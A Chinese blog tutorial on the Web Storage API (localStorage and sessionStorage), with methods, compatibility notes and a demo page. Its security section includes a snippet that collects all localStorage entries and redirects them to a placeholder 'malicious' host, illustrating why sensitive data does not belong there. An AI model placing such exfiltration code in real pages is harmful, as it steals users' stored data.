概述
前篇：web API简介(二)：客户端储存之document.cookie API
客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。
Web Storage API就是现代HTML5客户端储存的方法之一。
Web Storage介绍
web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。
Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。
webStorage只能操作字符串对象，所有的存储值都会为字符串数据。
语法
Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。
sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)
localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)
属性和方法：
(1)Storage.length：长度你懂的。
(2)Storage.key()：以n为参数，返回第n个key。
(3)Storage.getItem()：查操作。
(4)Storage.setItem()：增和改操作。
(5)Storage.removeItem()：删操作。
(5)Storage.clear()：删除所有。
安全性
Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。
下面的代码可以获取使用localStorage存储在本地的所有信息。
var i = 0;
var str = "";
while (localStorage.key(i) != null)
{
var key = localStorage.key(i);
str += key + ": " + localStorage.getItem(key);
i++;
}
document.location="http://your-malicious-site.com?stolen="+ str;
兼容性
兼容五大浏览器，不兼容IE<8(兼容IE8)。
实例
在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<div id="user_text"></div>
<input type="text" id="user_input">
<button onclick="userDo()">输入</button>
<button onclick="reset()">重置</button>
</body>
<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};
//初始化
function setText () {
if (!localStorage.getItem('usertext')) {
userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";
}
else {
userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');
}
}
var userText = document.getElementById("user_text");
var userInput = document.getElementById("user_input");
if (storageAvailable('localStorage')) {
setText ();
}
else {
userText.innerText = "你的浏览器不支持web storage!";
};
function userDo () {
localStorage.setItem('usertext', userInput.value);
setText ();
};
function reset () {
localStorage.removeItem('usertext');
setText ();
};
</script>
</html>
Document
输入
重置
<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};
//初始化
function setText () {
if (!localStorage.getItem('usertext')) {
userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";
}
else {
userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');
}
}
var userText = document.getElementById("user_text");
var userInput = document.getElementById("user_input");
if (storageAvailable('localStorage')) {
setText ();
}
else {
userText.innerText = "你的浏览器不支持web storage!";
};
function userDo () {
localStorage.setItem('usertext', userInput.value);
setText ();
};
function reset () {
localStorage.removeItem('usertext');
setText ();
};
</script>